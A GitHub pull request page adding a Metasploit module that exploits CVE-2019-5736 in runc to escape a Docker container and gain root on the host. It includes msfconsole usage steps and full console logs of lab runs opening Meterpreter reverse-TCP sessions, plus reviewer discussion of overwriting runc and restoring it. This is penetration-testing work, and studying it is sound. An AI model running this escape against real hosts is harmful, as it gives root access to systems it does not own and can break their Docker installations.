Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Docker Container Escape via runC overwrite with RCE as root (CVE-2019-5736) #15107

Merged

Conversation

cdelafuente-r7
Copy link
Contributor

@cdelafuente-r7 cdelafuente-r7 commented Apr 28, 2021

This module leverages a flaw in runc to escape a Docker container and get command execution on the host as root. This vulnerability is identified as CVE-2019-5736. It overwrites the runc binary with the payload and wait for someone to use docker exec to get into the container. This will trigger the payload execution. Note that a valid session as the root user inside the container is needed.

WARNING: Executing this exploit carries important risks regarding the Docker installation integrity on the target and inside the container (see Side Effects section).

runc has been fixed in version 1.0-rc7 and included in Docker version 18.09.2.

This module has been successfully tested on Ubuntu 18.04.5 x64 and Fedora 28 x64. However, it doesn't seem to work on CentOS 7 x64. Also, it looks like the exploit is more reliable on Fedora than Ubuntu.

Installation

Ubuntu 18.04.5 x64 with Docker version 18.03.1

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
apt-get update
apt-get install docker-ce=18.03.1~ce~3-0~ubuntu

Fedora 28 x64 with Docker version 18.03.1

dnf remove docker docker-client docker-client-latest docker-common docker-latest docker-latest-logrotate docker-logrotate docker-selinux docker-engine-selinux docker-engine
dnf -y install dnf-plugins-core
dnf config-manager --add-repo https://download.docker.com/linux/fedora/docker-ce.repo
dnf -y install docker-ce-18.03.1.ce-3.fc28

Side Effects

runc

The host runc binary will be overwritten during exploitation. The module takes care of making a backup before the overwrite and restore it when the new session is established. However, it might not work as expected and something could go wrong during the exploitation, which might avoid the session being created. In this case, runc won't be restored and the the host will no longer be able to run Docker containers. This process will need to be done manually somehow by following the instruction displayed during the module execution:

cp <path to docker-runc backup> <path to docker-runc>

shell

The shell binary inside the container (set by the OVERWRITE option) will also be overwritten. However, the module makes a backup prior the overwrite and restores it automatically. This process is relatively safe, but something can still go wrong along the way. Again, this will need to be done manually, using the information displayed during the module execution:

cp <path to the shell binary backup> <path to the shell binary>

Verification Steps

  1. Install Docker (see Installation)
  2. Start msfconsole
  3. Get a session as root inside a Docker container
  4. Do: use linux/local/docker_runc_escape
  5. Do: set LHOST <ip>
  6. Do: set LPORT <port>
  7. Do: set session <session nb>
  8. Do: run
  9. On the host target, run docker exec -ti <container_id> /bin/sh
  10. You should get a Meterpreter session.
  11. Verify you escaped the Docker container
  12. Verify WRITABLEDIR on the host is empty (cleanup successful)
  13. Verify docker-runc has been restored by running docker-runc --version

Scenarios

Docker version 18.03.1-ce (build 9ee9f40) on Ubuntu 18.04.5 LTS

msf6 exploit(linux/local/docker_runc_escape) > options

Module options (exploit/linux/local/docker_runc_escape):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   OVERWRITE    /bin/sh          yes       Shell to overwrite with /proc/self/exe
   SESSION      1                yes       The session to run this module on.
   SHELL        /bin/bash        yes       Shell to use in exploit script (must be different than OVERWRITE shell)
   WRITABLEDIR  /tmp             yes       A directory where you can write files.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.144.1    yes       The listen address (an interface may be specified)
   LPORT  4455             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux (Dropper) x64


msf6 exploit(linux/local/docker_runc_escape) > run

[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.144.1:4455
[*] Make a backup of /bin/sh (/tmp/wSCJRb1)
[*] Overwrite /bin/sh
[*] Upload payload
[*] Writing '/tmp/pMQAa0FYW' (250 bytes) ...
[*] Upload exploit
[*] Writing '/tmp/IP8LtTm7' (8672 bytes) ...
[*] Upload loop shell script ('runc' will be backed up to /tmp/MKM9z)
[*] Writing '/tmp/k41AYY' (344 bytes) ...
[*] Launch exploit loop and wait for 300 sec.
[*] Sending stage (3012548 bytes) to 192.168.144.135
[+] Deleted /tmp/pMQAa0FYW
[+] Deleted /tmp/IP8LtTm7
[+] Deleted /tmp/k41AYY
[+] Original runc binary restored
[*] Meterpreter session 2 opened (192.168.144.1:4455 -> 192.168.144.135:51916) at 2021-05-21 19:01:03 +0200
[*] Done. Waiting a bit more to make sure everything is setup...
[+] Session ready!

meterpreter > getuid
Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer     : 192.168.144.135
OS           : Ubuntu 18.04 (Linux 5.4.0-72-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > [*] Shutting down Meterpreter...

Docker version 18.03.1-ce (build 9ee9f40) on Fedora 28 x64

msf6 exploit(linux/local/docker_runc_escape) > options

Module options (exploit/linux/local/docker_runc_escape):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   OVERWRITE    /bin/sh          yes       Shell to overwrite with /proc/self/exe
   SESSION      1                yes       The session to run this module on.
   SHELL        /bin/bash        yes       Shell to use in exploit script (must be different than OVERWRITE shell)
   WRITABLEDIR  /tmp             yes       A directory where you can write files.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.144.1    yes       The listen address (an interface may be specified)
   LPORT  4455             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux (Dropper) x64


msf6 exploit(linux/local/docker_runc_escape) > run

[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.144.1:4455
[*] Make a backup of /bin/sh (/tmp/VHR0jdR8V)
[*] Overwrite /bin/sh
[*] Upload payload
[*] Writing '/tmp/jPfX1LCnzb' (250 bytes) ...
[*] Upload exploit
[*] Writing '/tmp/aI0aDmv91K' (8744 bytes) ...
[*] Upload loop shell script ('runc' will be backed up to /tmp/IevTLfZ)
[*] Writing '/tmp/Rba74' (351 bytes) ...
[*] Launch exploit loop and wait for 300 sec.
[*] Sending stage (3012548 bytes) to 192.168.144.219
[+] Deleted /tmp/jPfX1LCnzb
[+] Deleted /tmp/aI0aDmv91K
[+] Deleted /tmp/Rba74
[+] Original runc binary restored
[*] Meterpreter session 2 opened (192.168.144.1:4455 -> 192.168.144.219:60124) at 2021-05-21 18:34:46 +0200
[*] Done. Waiting a bit more to make sure everything is setup...
[+] Session ready!

meterpreter > getuid
Server username: root @ localhost.localdomain (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : Fedora 28 (Linux 5.0.16-100.fc28.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > [*] Shutting down Meterpreter...

@adfoster-r7
Copy link
Contributor

adfoster-r7 commented Apr 28, 2021

If there isn't a work around for this, is this an exploit we want Metasploit to ship with? 👀

!! WARNING !!

  • The runc binary will be overwritten and the system will no longer be able to
    run Docker containers.
  • The shell binary inside the container (set by the OVERWRITE option) will also
    be overwritten. However, the module makes a backup prior the overwrite and
    should restore it automatically.

For context, I believe we passed on shipping the DirtyCow privilege escalation module (CVE-2016-5195) for the same reason here - #7476

With reference to bcole's comment in particular 😄

Vaporizing system executables with no option of recovery is lame and unacceptable.

@smcintyre-r7
Copy link
Contributor

If runc is always executed with root privileges, we may be able to address this with a shim that would add a hookable entry point (check if a SO exists and then load it if so seems easy enough) to execute our payload and then either forward arguments to the original binary or even overwrite itself to restore the functionality transparently.

If the corrupted runc binary could restore itself when executed, that'd be ideal because then even if Metasploit were somehow disconnected, things would still be restored.

@cdelafuente-r7 cdelafuente-r7 marked this pull request as ready for review May 21, 2021 21:05
@cdelafuente-r7
Copy link
Contributor Author

cdelafuente-r7 commented May 21, 2021

It is ready for review now. I've made some improvements and add logic to cleanup and restore the runc binary when the new session starts. It should be good now.

@cdelafuente-r7 cdelafuente-r7 added docs rn-modules release notes for new or majorly enhanced modules labels May 21, 2021
@smcintyre-r7 smcintyre-r7 self-assigned this May 26, 2021
@cdelafuente-r7
Copy link
Contributor Author

Thanks for the review @smcintyre-r7 ! I fixed the documentation typos and renamed MeterpreterBackground Mettle option to MeterpreterTryToFork, as suggested.

- add binaries
- add documentation
- backup `runc` binary in the exploit C file
- add `MeterpreterBackground` options to set Mettle `background` option
- add `WsfDelay` logic
- refactor code
- add cleanup logic
- add restore `runc` binary logic
- Fix documentation typos
- Rename `MeterpreterBackground` Mettle option to `MeterpreterTryToFork`
- Remove `MeterpreterTryToFork` option logic
- Add `Prepend` code directly under `Payload` info
- Rebase to use the updated `PrependFork`
- Add logic to verify that shells specified in the options really exist
  on the remote host
@smcintyre-r7
Copy link
Contributor

Everything appears to be working as intended now. Running docker exec -it ... does hang when a Meterpreter payload is used.

Testing Output
msf6 exploit(linux/local/docker_runc_escape) > sessions

Active sessions
===============

  Id  Name  Type                   Information                                                      Connection
  --  ----  ----                   -----------                                                      ----------
  3         meterpreter x64/linux  root @ 98e641439b37 (uid=0, gid=0, euid=0, egid=0) @ 172.17.0.2  192.168.159.128:4444 -> 192.168.159.31:41062 (192.168.159.31)

msf6 exploit(linux/local/docker_runc_escape) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > getuid
Server username: root @ 98e641439b37 (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer     : 172.17.0.2
OS           : Ubuntu 20.04 (Linux 4.15.0-147-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > ifconfig 

Interface  1
============
Name         : lo
Hardware MAC : 00:00:00:00:00:00
MTU          : 65536
Flags        : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0


Interface  6
============
Name         : eth0
Hardware MAC : 02:42:ac:11:00:02
MTU          : 1500
Flags        : UP,BROADCAST,MULTICAST
IPv4 Address : 172.17.0.2
IPv4 Netmask : 255.255.0.0

meterpreter > background 
[*] Backgrounding session 3...
msf6 exploit(linux/local/docker_runc_escape) > show options 

Module options (exploit/linux/local/docker_runc_escape):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   OVERWRITE    /bin/sh          yes       Shell to overwrite with '#!/proc/self/exe'
   SESSION      -1               yes       The session to run this module on.
   SHELL        /usr/bin/bash    yes       Shell to use in scripts (must be different than OVERWRITE shell)
   WRITABLEDIR  /tmp             yes       A directory where you can write files.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.159.128  yes       The listen address (an interface may be specified)
   LPORT  5555             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux (Dropper) x64


msf6 exploit(linux/local/docker_runc_escape) > exploit

[!] SESSION may not be compatible with this module (incompatible session type: meterpreter)
[*] Started reverse TCP handler on 192.168.159.128:5555 
[*] Make a backup of /bin/sh (/tmp/r6R0WJy)
[*] Overwrite /bin/sh
[*] Upload payload
[*] Writing '/tmp/0Nwd7' (338 bytes) ...
[*] Upload exploit
[*] Writing '/tmp/ocnKaePur' (846656 bytes) ...
[*] Upload loop shell script ('runc' will be backed up to /tmp/sdBgxGc)
[*] Writing '/tmp/9TaxYT' (343 bytes) ...
[*] Launch exploit loop and wait for 303 sec.
[*] Sending stage (3012548 bytes) to 192.168.159.31
[*] Meterpreter session 4 opened (192.168.159.128:5555 -> 192.168.159.31:36488) at 2021-06-30 14:50:13 -0400
[*] Done. Waiting a bit more to make sure everything is setup...
[+] Session ready!

meterpreter > getuid
Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer     : ubuntu.local
OS           : Ubuntu 18.04 (Linux 4.15.0-147-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > ifconfig

Interface  1
============
Name         : lo
Hardware MAC : 00:00:00:00:00:00
MTU          : 65536
Flags        : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::


Interface  2
============
Name         : ens33
Hardware MAC : 00:0c:29:c7:13:d6
MTU          : 1500
Flags        : UP,BROADCAST,MULTICAST
IPv4 Address : 192.168.159.31
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::20c:29ff:fec7:13d6
IPv6 Netmask : ffff:ffff:ffff:ffff::
IPv6 Address : fd1d:422:7d7a:b2e6::20
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface  3
============
Name         : docker0
Hardware MAC : 02:42:9b:27:24:1e
MTU          : 1500
Flags        : UP,BROADCAST,MULTICAST
IPv4 Address : 172.17.0.1
IPv4 Netmask : 255.255.0.0
IPv6 Address : fe80::42:9bff:fe27:241e
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface  7
============
Name         : veth5e4e5a1
Hardware MAC : 86:5a:7c:b3:80:52
MTU          : 1500
Flags        : UP,BROADCAST,MULTICAST

meterpreter > 

I'll have this merged in here in a minute. Thanks @cdelafuente-r7 !

@smcintyre-r7 smcintyre-r7 merged commit 91cf1c9 into rapid7:master Jun 30, 2021
@smcintyre-r7
Copy link
Contributor

Release Notes

This adds an exploit for CVE-2019-5736 which is a flaw in Docker that can be leveraged by an attacker to overwrite the runc binary in the host and escape from a container.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

3 participants